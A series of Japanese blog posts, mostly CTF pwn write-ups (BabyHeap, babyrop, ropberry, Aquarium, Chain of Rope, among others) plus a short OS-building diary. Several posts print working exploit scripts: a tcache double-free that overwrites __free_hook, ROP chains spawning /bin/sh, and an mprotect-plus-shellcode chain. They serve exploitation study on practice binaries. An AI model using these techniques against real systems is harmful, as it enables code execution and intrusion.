SECCON Beginners CTF 2019 BabyHeap Writeup

はじめに

5/26(土)〜27(日)でSECCON Beginners CTFが開催されました.自分はPwnを2問と他数問を解いて110位でした.

BabyHeapは時間内に解くことができませんでしたが,その後で自分なりに理解したため,備忘録としてまとめたいと思います.


配布されたファイル

実行ファイルとライブラリが配布されました.

  • babyheap
  • libc-2.27.so


ファイルの調査

$ file babyheap
babyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=353667032c4e496b0bbd3621e4821b3bcc1272f6, not stripped
$ checksec.sh --file babyheap
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Full RELRO      Canary found      NX enabled    Not an ELF file   No RPATH   No RUNPATH   babyheap


プログラムの動作

$ ./babyheap 
Welcome to babyheap challenge!
Present for you!!
>>>>> 0x7f54f180ca00 <<<<<

MENU
1. Alloc
2. Delete
3. Wipe
0. Exit
> 

プレゼント

実行するとプレゼントとして_IO_2_1_stdin_のアドレスをもらえます.つまり,もらったアドレスから_IO_2_1_stdin_のオフセットを引くとライブラリのベースアドレスを入手できます.

  • _IO_2_1_stdin_のオフセットは以下の様にすることで求めることができます.
$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep stdin
00000000003eba00 D _IO_2_1_stdin_
00000000003ec850 D stdin


  • 例: 0x7f54f180ca00 - 0x3eba00 = 0x7f54f1421000

MENU

  1. Alloc: mallocで0x30byteの領域を確保し,データを読み込み(※確保した領域へのアドレスを格納した変数ptrがNULLの場合のみ).
  2. Delete: mallocで確保した領域を解放(free).
  3. Wipe: mallocで確保した領域へのアドレスを格納した変数ptrをNULL
  4. Exit: プログラムを終了.


とりあえず結果

エクスプロイトコード

from pwn import *

stdin_off = 0x3eba00
one_gadget_off = 0x4f322
free_hook_off = 0x3ed8e8

s = remote("localhost", 9999)

s.recvuntil(">>>>> ")
stdin_addr = eval(s.recv(14))
info("stdin_addr: 0x{:08x}".format(stdin_addr))
libc_base = stdin_addr - stdin_off
info("libc_base: 0x{:08x}".format(libc_base))
free_hook = libc_base + free_hook_off
info("free_hook: 0x{:08x}".format(free_hook))
one_gadget = libc_base + one_gadget_off
info("one_gadget: 0x{:08x}".format(one_gadget))

# step1: alloc
s.recvuntil("> ")
s.sendline("1")
s.recvuntil("Input Content: ")
s.sendline("AAAAAAAA")

# step2: free(1回目)
s.recvuntil("> ")
s.sendline("2")

# step3: free(2回目)
s.recvuntil("> ")
s.sendline("2")

# step4: wipe
s.recvuntil("> ")
s.sendline("3")

# step5: alloc
s.recvuntil("> ")
s.sendline("1")
s.recvuntil("Input Content: ")
s.sendline(p64(free_hook))

# step6: wipe
s.recvuntil("> ")
s.sendline("3")

# step7: alloc
s.recvuntil("> ")
s.sendline("1")
s.recvuntil("Input Content: ")
s.sendline("BBBBBBBB")

# step8: wipe
s.recvuntil("> ")
s.sendline("3")

# step9: alloc
s.recvuntil("> ")
s.sendline("1")
s.recvuntil("Input Content: ")
s.sendline(p64(one_gadget))

# step10: free
s.recvuntil("> ")
s.sendline("2")

s.interactive()

実行結果

$ python solve.py 
[+] Opening connection to localhost on port 9999: Done
[*] stdin_addr: 0x7f4e8212aa00
[*] libc_base: 0x7f4e81d3f000
[*] free_hook: 0x7f4e8212c8e8
[*] one_gadget: 0x7f4e81d8e322
[*] Switching to interactive mode
$ id
uid=1000(pochi) gid=1000(pochi) groups=1000(pochi)


処理を追ってみる

step1~10に分けて処理を見ていきたいと思います.

step1

まず,1. Allocを選択してデータAAAAAAAAを入力します.

f:id:m412u:20190601163523p:plain

そうすると,上図のようにアドレス0x555555757250に領域を確保(chunk X とします.)し,データが格納されます.


ちなみに,アドレス0x555555757258の0x41はchunkのサイズとchunkを管理するための情報なので入力したAとは関係ありません.

step2

次に2. Deleteを選択して確保した領域を解放します. 今回のように小さなサイズを解放した場合,tcacheに繋いでfree済みchunkを管理します.

f:id:m412u:20190601164415p:plain


f:id:m412u:20190601170247j:plain

step3

再び2. Deleteを選択して領域を解放するとdouble freeが起こり,chunk Xの前にもう一度同じchunkを繋ぎます.

f:id:m412u:20190601171128p:plain


f:id:m412u:20190601171149j:plain

step4

3. Wipeを選択し,再び1. Allocが可能な状態にします.

step5

1. Allocを選択し,データとして書き込み先のアドレスを格納します.

f:id:m412u:20190601172122j:plain

step3の状態でmallocするとchunk Yが取り外され,そこにデータが書き込まれます.しかし,chunk Yとchunk Xは同一であるため,もちろんchunk Xにもデータが書き込まれます(同じ場所にデータを格納しているだけですが).

step6

3. Wipeを選択し,再び1. Allocが可能な状態にします.

step7

step5の状態でmallocを行うと,chunk Xが取り外されます.すると,tcache___free_hookへのアドレスが格納されます.

f:id:m412u:20190601172859j:plain

step8

3. Wipeを選択し,再び1. Allocが可能な状態にします.

step9

step8の状態でmallocを行うと,あたかも__free_hook周辺をchunkであると勘違いしてそこにデータを書き込んでしまいます.

f:id:m412u:20190601173656j:plain

step10

step9の状態でfreeを行うと__free_hookに格納されたonegadget-rceのアドレスが呼び出され,シェルが起動します.

おわりに

疲れた... 資料に間違い等ございましたら,ご指摘いただけると幸いです.


参考にさせていただいたサイト

SECCON Beginners CTF 2019のWriteup - CTFするぞ

Harekaze CTF 2019 Baby Rop Writeup

はじめに

この記事は睡魔と戦いながら書いているためところどころ日本語がおかしくなる場合がございます.


いろいろ確認

ファイル

$ file babyrop 
babyrop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=b5a3b2575c451140ec967fd78cf8a60f2b7ef17f, not stripped

よくある感じの実行ファイル

セキュリティ機構

$ checksec.sh --file babyrop 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    Not an ELF file   No RPATH   No RUNPATH   babyrop

スタックカナリアが無いので,BOFを使うと考えられる.

プログラム内で行われている処理を確認

$ r2 -AA babyrop 
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for objc references
[x] Check for vtables
[x] Type matching analysis for all functions (aaft)
[x] Use -AA or aaaa to perform additional experimental analysis.
[x] Finding function preludes
[x] Enable constraint types analysis for variables
 -- Select your architecture with: 'e asm.arch=<arch>' or r2 -a from the shell
[0x004004e0]> afl
0x004004e0    1 41           entry0
0x004004b0    1 6            sym.imp.__libc_start_main
0x00400510    4 50   -> 41   sym.deregister_tm_clones
0x00400550    4 58   -> 55   sym.register_tm_clones
0x00400590    3 28           entry.fini0
0x004005b0    4 38   -> 35   entry.init0
0x00400690    1 2            sym.__libc_csu_fini
0x00400694    1 9            sym._fini
0x00400620    4 101          sym.__libc_csu_init
0x004005d6    1 69           main
0x00400490    1 6            sym.imp.system
0x004004c0    1 6            sym.imp.__isoc99_scanf
0x004004a0    1 6            sym.imp.printf
0x00400460    3 26           sym._init
0x004004d0    1 6            sym..plt.got
0x004001a3    1 6            fcn.004001a3
[0x004004e0]> pdf @ main
/ (fcn) main 69
|   int main (int argc, char **argv, char **envp);
|           ; var char *var_10h @ rbp-0x10
|           ; DATA XREF from entry0 (0x4004fd)
|           0x004005d6      55             push rbp
|           0x004005d7      4889e5         mov rbp, rsp
|           0x004005da      4883ec10       sub rsp, 0x10
|           0x004005de      bfa8064000     mov edi, str.echo__n__What_s_your_name ; 0x4006a8 ; "echo -n \"What's your name? \"" ; const char *string
|           0x004005e3      e8a8feffff     call sym.imp.system         ; int system(const char *string)
|           0x004005e8      488d45f0       lea rax, [var_10h]
|           0x004005ec      4889c6         mov rsi, rax
|           0x004005ef      bfc5064000     mov edi, 0x4006c5           ; const char *format
|           0x004005f4      b800000000     mov eax, 0
|           0x004005f9      e8c2feffff     call sym.imp.__isoc99_scanf ; int scanf(const char *format)
|           0x004005fe      488d45f0       lea rax, [var_10h]
|           0x00400602      4889c6         mov rsi, rax
|           0x00400605      bfc8064000     mov edi, str.Welcome_to_the_Pwn_World___s ; 0x4006c8 ; "Welcome to the Pwn World, %s!\n" ; const char *format
|           0x0040060a      b800000000     mov eax, 0
|           0x0040060f      e88cfeffff     call sym.imp.printf         ; int printf(const char *format)
|           0x00400614      b800000000     mov eax, 0
|           0x00400619      c9             leave
\           0x0040061a      c3             ret
[0x004004e0]> 
  1. system("echo -n \"What's your name? \");で名前を聞かれる.
  2. scanf("%s", ~~);で文字列を読み取る.
  3. printf("Welcome to the Pwn World, %s!\n");で入力した名前と合わせた文字列を出力する.

RIPを奪うまでのオフセットを確認

注意すること

今回の実行ファイルは内部でsystem()が呼ばれているため,gdbを起動したあとset follow-fork-mode parentで親プロセスの処理を追うように設定しなければならない.

$ gdb -q ./babyrop
Reading symbols from ./babyrop...(no debugging symbols found)...done.
gdb-peda$ set follow-fork-mode parent
gdb-peda$ break main
Breakpoint 1 at 0x4005da
gdb-peda$ q
pochi@ubuntu:~/Desktop/Harekaze/babyrop$ gdb -q ./babyrop
Reading symbols from ./babyrop...(no debugging symbols found)...done.
gdb-peda$ set follow-fork-mode parent
gdb-peda$ b *0x0040061a
Breakpoint 1 at 0x40061a
gdb-peda$ pattc 50
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
gdb-peda$ r
Starting program: /home/pochi/Desktop/Harekaze/babyrop/babyrop 
What's your name? AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA
Welcome to the Pwn World, AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA!

[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x0 
RDX: 0x0 
RSI: 0x602670 ("Welcome to the Pwn World, AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA!\n")
RDI: 0x1 
RBP: 0x41412d4141434141 ('AACAA-AA')
RSP: 0x7fffffffddd8 ("(AADAA;AA)AAEAAaAA0AAFAAbA")
RIP: 0x40061a (<main+68>:   ret)
R8 : 0x0 
R9 : 0x32 ('2')
R10: 0xffffffce 
R11: 0x246 
R12: 0x4004e0 (<_start>:    xor    ebp,ebp)
R13: 0x7fffffffdeb0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40060f <main+57>:  call   0x4004a0 <printf@plt>
   0x400614 <main+62>:  mov    eax,0x0
   0x400619 <main+67>:  leave  
=> 0x40061a <main+68>:   ret    
   0x40061b:  nop    DWORD PTR [rax+rax*1+0x0]
   0x400620 <__libc_csu_init>:  push   r15
   0x400622 <__libc_csu_init+2>:    push   r14
   0x400624 <__libc_csu_init+4>:    mov    r15d,edi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffddd8 ("(AADAA;AA)AAEAAaAA0AAFAAbA")
0008| 0x7fffffffdde0 ("A)AAEAAaAA0AAFAAbA")
0016| 0x7fffffffdde8 ("AA0AAFAAbA")
0024| 0x7fffffffddf0 --> 0x100004162 
0032| 0x7fffffffddf8 --> 0x4005d6 (<main>:   push   rbp)
0040| 0x7fffffffde00 --> 0x0 
0048| 0x7fffffffde08 --> 0xf0b869d1785eacbf 
0056| 0x7fffffffde10 --> 0x4004e0 (<_start>: xor    ebp,ebp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x000000000040061a in main ()
gdb-peda$ patto (AADAA;
(AADAA; found at offset: 24
gdb-peda$ 

"A"*24 + (飛ばしたい処理のアドレス)で良いことがわかる.


方針

今回はプログラム内でsystem()が使用されているため,これを使う. 次に実行させたいコマンドとして使えそうな文字列を探す.libcが与えられていない部分などからプログラム内に隠されていると予想する.

[0x004004e0]> iz
[Strings]
Num Paddr      Vaddr      Len Size Section  Type  String
000 0x000006a8 0x004006a8  28  29 (.rodata) ascii echo -n "What's your name? "
001 0x000006c8 0x004006c8  30  31 (.rodata) ascii Welcome to the Pwn World, %s!\n
000 0x00001048 0x00601048   7   8 (.data) ascii /bin/sh

アドレス0x00601048/bin/shという理想的な文字列が見つかった.

次はsystem()の引数にどうやって/bin/shを渡すかである.x64は第一引数をrdiレジスタに格納するのでpop rdi; ret;というgadgetが必要. このような場合はrp++で探すと良い.

$ rp-lin-x64 --file=babyrop --rop=1 --unique | grep "pop"
0x00400682: pop r15 ; ret  ;  (1 found)
0x00400540: pop rbp ; ret  ;  (2 found)
0x00400683: pop rdi ; ret  ;  (1 found)

アドレス0x00400683に見つかったのでこれを使用する.


エクスプロイトコード

def main():
    payload = ""
    payload += "A" * 24
    payload += p64(0x400683)    # pop rdi; ret;
    payload += p64(0x601048)    # /bin/sh
    payload += p64(0x400490)    # system@plt

    # 通信部分

    read_until(s, "What's your name? ")
    s.sendall(payload + "\n")

    interact(s)


おわりに

追記したいことがあるので週末にでも書き足すのでよろしくお願いします.


INS'HACK2019 Writeup にしようとしたもの

はじめに

INS'HACK2019にチームContrailとして参加したものの1問もフラグを得られず全くチームに貢献することができなかった. Pwnで1問だけローカル環境のみでシェルの起動に成功した問題があるため,自分が取り組んだことについてまとめたい.


問題

  • ropberry
You hack this guy on challenge called gimme-your-shell, but he is still always asking me the same question when I try to find his secret. Maybe you can do something.
He is waiting for you at: ssh -i <your_keyfile> -p 2226 user@ropberry.ctf.insecurity-insa.fr To find your keyfile, look into your profile on this website.


バイナリの解析

$ file ropberry
ropberry: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=3338b24648887e1839f7a07a5bfb9e4bc313bec5, not stripped


$ checksec.sh --file ropberry
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    Not an ELF file   No RPATH   No RUNPATH   ropberry


気になったこと

  • 今回与えられたファイルは静的リンクされたバイナリである.
  • STACK CANARYNo canary foundであるため,バッファオーバーフローが狙えそうである.

考えたこと

脆弱性vuln()内でgets()が使用されていたため,すぐに見つかった.
その後,シェルを起動させるために,バイナリ内に存在する次のような関数を用いて1~4に示す方針を立てた.

$ readelf -s ropberry
  1473: 080580d0    99 FUNC    WEAK   DEFAULT    6 read
  1991: 08058d40    37 FUNC    WEAK   DEFAULT    6 mprotect
  1. バッファオーバーフローEIPを書き換えた後,ROPchainを流し込む.
  2. mprotectでメモリ上に存在する固定アドレスの一部に実行可能属性を付与する.
  3. readで実行可能な領域にシェルコードを読み込む
  4. EIPをシェルコードの先頭にする.

NXNX enabledとなっているが,mprotectでメモリ領域の保護属性を変更可能であるためあまり関係がない.

  • mprotect()呼び出し前

f:id:m412u:20190509205832p:plain

  • mprotect()呼び出し後

f:id:m412u:20190509205844p:plain

mprotect

int mprotect(void *addr, size_t len, int prot);

気をつけること

addrはページサイズでアラインメントする必要がある.Linuxのページフレームは4KB(0x1000)境界であるため,下位12bitは0x0となる.

read

ssize_t read(int fd, void *buf, size_t count);


作成したエクスプロイトコード

from pwn import *

context.log_level = "DEBUG"

elf = ELF("./ropberry")
mprotect_addr = elf.symbols["mprotect"]
read_addr = elf.symbols["read"]
fflush_addr = elf.symbols["fflush"]
print "mprotect:", hex(elf.symbols["mprotect"])
print "read:", hex(elf.symbols["read"])

shellcode = b"\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
    
payload = ""
payload += "A" * 8
payload += p32(mprotect_addr) # mprotect
payload += p32(0x0804859c)    # pop3ret
payload += p32(0x080ee000)    # buf
payload += p32(0x1000)        # size
payload += p32(0x7)
payload += p32(read_addr)     # read
payload += p32(0x080ee000)    # 
payload += p32(0x0)           # stdin
payload += p32(0x080ee000)    # buf
payload += p32(0x1000)        # size

p = process("./ropberry")
#shell = ssh("user", "ropberry.ctf.insecurity-insa.fr", port=2226, password=None, keyfile="~/.ssh/id_inshack")
#p = shell.run("sh")

print(p.recv())
p.sendline(payload)
p.send(b"\x90" * (0x1000-len(shellcode)) + shellcode)

p.interactive()

おわりに

現時点で,リモートでシェルの起動させることができなかった原因はわからず.


記事に間違い,もしくは原因がわかる方がおられましたら連絡していただけると幸いです.

CSAW-2012 Exploitation 200 Writeup

はじめに

Pwnの練習ということでこちらのサイトに関連する問題をちびちびやっていこうと思います. ただ,ksnctfの問題もあるのですべてをWriteupとして公開はしません. また,シェルの起動が一つのゴールであるとは思いますが,何が答えなのかいまいちわかっていません.

ctf.katsudon.org

問題リンク

shell-storm.org


解析など

ファイルの確認

$ file exploitation1-release 
exploitation1-release: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.24, BuildID[sha1]=3884e99413d7610af414a6c12ce9ee0ed4933553, with debug_info, not stripped
  • 32bitのELF
  • 動的リンク

セキュリティ機構の確認

$ checksec.sh --file exploitation1-release 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    Not an ELF file   No RPATH   No RUNPATH   exploitation1-release
  • STACK CANARYNo canary foundとなっているため,BOFが狙えそうです.

シンボル情報の確認

$ readelf -r exploitation1-release

再配置セクション '.rel.dyn' at offset 0x550 contains 1 entry:
 オフセット 情報    型              シンボル値 シンボル名
0804aff0  00000c06 R_386_GLOB_DAT    00000000   __gmon_start__

再配置セクション '.rel.plt' at offset 0x558 contains 28 entries:
 オフセット 情報    型              シンボル値 シンボル名
0804b000  00000107 R_386_JUMP_SLOT   00000000   setsockopt@GLIBC_2.0
0804b004  00000207 R_386_JUMP_SLOT   00000000   strcmp@GLIBC_2.0
0804b008  00000307 R_386_JUMP_SLOT   00000000   printf@GLIBC_2.0
0804b00c  00000407 R_386_JUMP_SLOT   00000000   __isoc99_fscanf@GLIBC_2.7
0804b010  00000507 R_386_JUMP_SLOT   00000000   inet_ntoa@GLIBC_2.0
0804b014  00000607 R_386_JUMP_SLOT   00000000   getuid@GLIBC_2.0
0804b018  00000707 R_386_JUMP_SLOT   00000000   htons@GLIBC_2.0
0804b01c  00000807 R_386_JUMP_SLOT   00000000   perror@GLIBC_2.0
0804b020  00000907 R_386_JUMP_SLOT   00000000   accept@GLIBC_2.0
0804b024  00000a07 R_386_JUMP_SLOT   00000000   waitpid@GLIBC_2.0
0804b028  00000b07 R_386_JUMP_SLOT   00000000   setgid@GLIBC_2.0
0804b02c  00000c07 R_386_JUMP_SLOT   00000000   __gmon_start__
0804b030  00000d07 R_386_JUMP_SLOT   00000000   exit@GLIBC_2.0
0804b034  00000e07 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0
0804b038  00000f07 R_386_JUMP_SLOT   00000000   bind@GLIBC_2.0
0804b03c  00001007 R_386_JUMP_SLOT   00000000   getgid@GLIBC_2.0
0804b040  00001107 R_386_JUMP_SLOT   00000000   fopen@GLIBC_2.1
0804b044  00001207 R_386_JUMP_SLOT   00000000   fork@GLIBC_2.0
0804b048  00001307 R_386_JUMP_SLOT   00000000   sigemptyset@GLIBC_2.0
0804b04c  00001407 R_386_JUMP_SLOT   00000000   freeaddrinfo@GLIBC_2.0
0804b050  00001507 R_386_JUMP_SLOT   00000000   listen@GLIBC_2.0
0804b054  00001607 R_386_JUMP_SLOT   00000000   setuid@GLIBC_2.0
0804b058  00001707 R_386_JUMP_SLOT   00000000   socket@GLIBC_2.0
0804b05c  00001807 R_386_JUMP_SLOT   00000000   getaddrinfo@GLIBC_2.0
0804b060  00001907 R_386_JUMP_SLOT   00000000   sigaction@GLIBC_2.0
0804b064  00001a07 R_386_JUMP_SLOT   00000000   recv@GLIBC_2.0
0804b068  00001b07 R_386_JUMP_SLOT   00000000   close@GLIBC_2.0
0804b06c  00001c07 R_386_JUMP_SLOT   00000000   send@GLIBC_2.0
  • listenacceptが見えるのでfork-server型の問題であると予想.

実行してみる

$ chmod +x exploitation1-release
$ ./exploitation1-release 
  • へんじがない。fork-server型問題のようだ。

新しいタブを開き,確認してみます.

$ netstat -antp
...
Proto 受信-Q 送信-Q 内部アドレス            外部アドレス            状態       PID/Program name    
tcp        0      0 0.0.0.0:54321           0.0.0.0:*               LISTEN      2883/./exploitation 
...
  • ローカルの54321ポートでプロセスが待ち受けています.

繋いでみる

$ nc localhost 54321
Wecome to my first CS project.
Please type your name: 
  • プログラムの動作を確認できました.


脆弱性さがし

アセンブルしてみる

f:id:m412u:20190430091844p:plain

200pt問題なので,keyの内容を読み出せばよいのかな? 脆弱性とかではなさそう.strcmp()で入力した値とAAAAAAAAAAAAAAAAAAAAAAAAAA\nを比較しています. 比較結果が正しくない場合,keyは読み出せない模様.

$ nc localhost 54321
Wecome to my first CS project.
Please type your name:  Maru

このページのkeyをお借りしてkeyファイルを作成します.

$ echo "b3ee1f0fff06f0945d7bb018a8e85127" > key

その後,AAAA...\nを入力してみます.

$ nc localhost 54321
Wecome to my first CS project.
Please type your name:  AAAAAAAAAAAAAAAAAAAAAAAAAA
b3ee1f0fff06f0945d7bb018a8e85127

ファイルの読み出し成功!

おわりに

keyの中身を読みだせたので200ptは獲得できたと予想. おそらく,300pt・400ptと進んで行くと脆弱性をついてシェルを起動させると思います. うん!きっとそう!...


たぶん...


ångstromCTF 2019 Writeup

はじめに

ångstromCTF 2019 に参加した際に自分が解答した問題についてwriteupをまとめたいと思います. チームContrailとして参加しました.

エクスプロイトコードは重要な部分だけ掲載しています.

解いた問題

  • Aquarium
  • Chain of Rope

Aquarium

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void flag() {
    system("/bin/cat flag.txt");
}

struct fish_tank {
    char name[50];
    int fish;
    int fish_size;
    int water;
    int width;
    int length;
    int height;
};


struct fish_tank create_aquarium() {
    struct fish_tank tank;

    printf("Enter the number of fish in your fish tank: ");
    scanf("%d", &tank.fish);
    getchar();

    printf("Enter the size of the fish in your fish tank: ");
    scanf("%d", &tank.fish_size);
    getchar();

    printf("Enter the amount of water in your fish tank: ");
    scanf("%d", &tank.water);
    getchar();

    printf("Enter the width of your fish tank: ");
    scanf("%d", &tank.width);
    getchar();

    printf("Enter the length of your fish tank: ");
    scanf("%d", &tank.length);
    getchar();

    printf("Enter the height of your fish tank: ");
    scanf("%d", &tank.height);
    getchar();

    printf("Enter the name of your fish tank: ");
    char name[50];
    gets(name);

    strcpy(name, tank.name);
    return tank;
}

int main() {
    gid_t gid = getegid();
    setresgid(gid, gid, gid);

    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    struct fish_tank tank;

    tank = create_aquarium();

    if (tank.fish_size * tank.fish + tank.water > tank.width * tank.height * tank.length) {
        printf("Your fish tank has overflowed!\n");
        return 1;
    }

    printf("Nice fish tank you have there.\n");

    return 0;
}

方針

gets()が使用されているためバッファオーバーフローが狙えそうです.gets()はマニュアルにあるように 使用すべきでない 関数です.なぜなら,入力長をチェックしないため改行(もしくはEOF)まで入力を受け続けるからです.

エクスプロイトコード

def main():
    payload = "A" * 152
    payload += p(0x4011b6)

    # 通信部分

    #read_until(s, "")
    read_until(s, "Enter the number of fish in your fish tank: ")
    s.sendall("1\n")
    read_until(s, "Enter the size of the fish in your fish tank: ")
    s.sendall("0\n")
    read_until(s, "Enter the amount of water in your fish tank: ")
    s.sendall("1\n")
    read_until(s, "Enter the width of your fish tank: ")
    s.sendall("1\n")
    read_until(s, "Enter the length of your fish tank: ")
    s.sendall("1\n")
    read_until(s, "Enter the height of your fish tank: ")
    s.sendall("1\n")

    read_until(s, "Enter the name of your fish tank: ")
    s.sendall(payload + "\n")

    sleep(1)
    print[s.recv(1024)]


Chain of Rope

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int userToken = 0;
int balance = 0;

int authorize () {
    userToken = 0x1337;
    return 0;
}

int addBalance (int pin) {
    if (userToken == 0x1337 && pin == 0xdeadbeef) {
        balance = 0x4242;
    } else {
        printf("ACCESS DENIED\n");
    }
    return 0;
}

int flag (int pin, int secret) {
    if (userToken == 0x1337 && balance == 0x4242 && pin == 0xba5eba11 && secret == 0xbedabb1e) {
        printf("Authenticated to purchase rope chain, sending free flag along with purchase...\n");
        system("/bin/cat flag.txt");
    } else {
        printf("ACCESS DENIED\n");
    }
    return 0;
}

void getInfo () {
    printf("Token: 0x%x\nBalance: 0x%x\n", userToken, balance);
}

int main() {
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    char name [32];
    printf("--== ROPE CHAIN BLACK MARKET ==--\n");
    printf("LIMITED TIME OFFER: Sending free flag along with any purchase.\n");
    printf("What would you like to do?\n");
    printf("1 - Set name\n");
    printf("2 - Get user info\n");
    printf("3 - Grant access\n");
    int choice;
    scanf("%d\n", &choice);
    if (choice == 1) {
        gets(name);
    } else if (choice == 2) {
        getInfo();
    } else if (choice == 3) {
        printf("lmao no\n");
    } else {
        printf("I don't know what you're saying so get out of my black market\n");
    }
    return 0;
}

方針

問題のソースコードを見た第一印象は めんどくs 複雑な処理をしているなと感じました. ROPで引数を渡しながら関数を順に呼び出す方法も考えられましたが,gets()のバッファオーバーフローを利用してflag()の途中(0x401231)へ処理を飛ばしました.

f:id:m412u:20190427213345p:plain

エクスプロイトコード

def main():
    payload = "A" * 56
    payload += p(0x401231)

    # 通信部分

    read_until(s, "access")
    s.sendall("1\n")
    
    s.sendall(payload + "\n")

    sleep(1)
    print [s.recv(1024)]

別解

別解というよりはこちらが想定解だと思われます.

def main():
    payload = "A" * 56
    payload += p(0x401196)    # authorize
    
    payload += p(0x401403)    # pop_rdi_ret
    payload += p(0xdeadbeef)  # arg1
    payload += p(0x4011ab)    # addBalance

    payload += p(0x401403)    # pop_rdi_ret
    payload += p(0xba5eba11)  # arg1
    payload += p(0x401401)    # pop_rsi_pop_r15_ret
    payload += p(0xbedabb1e)  # arg2
    payload += p(0xdeadbeef)  # dummy
    payload += p(0x4011eb)    # flag
    
    # 通信部分

    read_until(s, "access")
    s.sendall("1\n")
    
    s.sendall(payload + "\n")

    sleep(1)
    print s.recv(1024)

まとめ

今回解答できた問題はどちらも同じ手法であったため,より多くの手法を身に付けてチームに貢献したいと思います.

30日でできる! OS自作入門 ~1日目~ その2

はじめに

下記の続きです.今回は1日目の作業を終わらせたいと思います.

m412u.hatenablog.com


作業

2. 結局何をやったのだろうか

メモ

PCを構成する装置

  • 中央処理装置
  • 主記憶装置
  • 補助記憶装置
  • 入力装置
  • 出力装置

3. アセンブラ初体験

(30日でできる! OS自作入門 ~1日目~ その1 - m412uのメモ)ではバイナリエディタを使ってhelloos.imgを作成しました. しかし,今回からはアセンブラを用いて同じファイルを作るみたいです. ただし,3. アセンブリ初体験は長すぎるのでアセンブラ記述は飛ばします.

4. もうちょっと書き直してみる

アセンブリコード

    ;;  hello-os
    ;;  TAB=4

    ;; FAT12フォーマットフロッピーディスク用の記述
    
    DB      0xeb, 0x4e, 0x90
    DB      "HELLOIPL"          ; ブートセクタの名前
    DW      512                 ; 1セクタの大きさ
    DB      1                   ; クラスタの大きさ
    DW      1                   ; FATの開始位置
    DB      2                   ; FATの個数
    DW      224                 ; ルートディレクトリ領域の大きさ
    DW      2880                ; ドライブの大きさ
    DB      0xf0                ; メディアのタイプ
    DW      9                   ; FAT領域の長さ
    DW      18                  ; 1トラック中のセクタ数
    DW      2                   ; ヘッドの数
    DD      0                   ; パーティションを使用していなければ0
    DD      2880                ; ドライブの大きさ
    DB      0, 0, 0x29          ; 固定値?
    DD      0xffffffff          ; ボリュームシリアル番号?
    DB      "HELLO-OS   "       ; ディスク名
    DB      "FAT12   "          ; フォーマット名
    RESB    18                  ; 18バイト空ける

    ;; プログラム本体

    DB      0xb8, 0x00, 0x00, 0x8e, 0xd0, 0xbc, 0x00, 0x7c
    DB      0x8e, 0xd9, 0x8e, 0xc0, 0xbe, 0x74, 0x7c, 0x8a
    DB      0x04, 0x83, 0xc6, 0x01, 0x3c, 0x00, 0x74, 0x09
    DB      0xb4, 0x0e, 0xbb, 0x0f, 0x00, 0xcd, 0x10, 0xeb
    DB      0xee, 0xf4, 0xeb, 0xfd

    ;; メッセージ部分

    DB      0x0a, 0x0a
    DB      "Hello, world"
    DB      0x0a
    DB      0

    RESB    0x1fe-($-$$)

    DB      0x55, 0xaa

    ;; ブートセクタ以外

    DB      0xf0, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00
    RESB    4600
    DB      0xf0, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00
    RESB    1469432
    

サンプルコードと異なる部分が1つあるみたいです. それは,41行目のRESB 0x1fe-$RESB 0x1fe-($-$$)となっている点です.


アセンブラnasmを使います.
nasmのインストール

$ sudo apt install nasm

コンパイル

$ nasm hello-os.s -o hello-os.img
hello-os.s:24: warning: uninitialized space declared in .text section: zeroing
hello-os.s:41: warning: uninitialized space declared in .text section: zeroing
hello-os.s:48: warning: uninitialized space declared in .text section: zeroing
hello-os.s:50: warning: uninitialized space declared in .text section: zeroing

実行

$ qemu-system-i386 -fda hello-os.img

f:id:m412u:20190319222137p:plain
実行画面

その1と同じ画面が出力されました.


もう少し詳しく

  • nasmとnaskの違い

http://hrb.osask.jp/wiki/?tools/nask

FATファイルシステムのしくみと操作法

まとめ

前回挑戦した際は5日目ぐらいまでいけたのでそこまではスムーズに進めそう.


参考

OSの動作原理を勉強する | OS自作入門 1日目 【Linux】 | サラリーマンがハッカーを真剣に目指す

FATファイルシステムのしくみと操作法

30日でできる! OS自作入門 ~1日目~ その1

はじめに

「30日でできる!」という文言に惹かれて以下の本を購入しました.

book.mynavi.jp


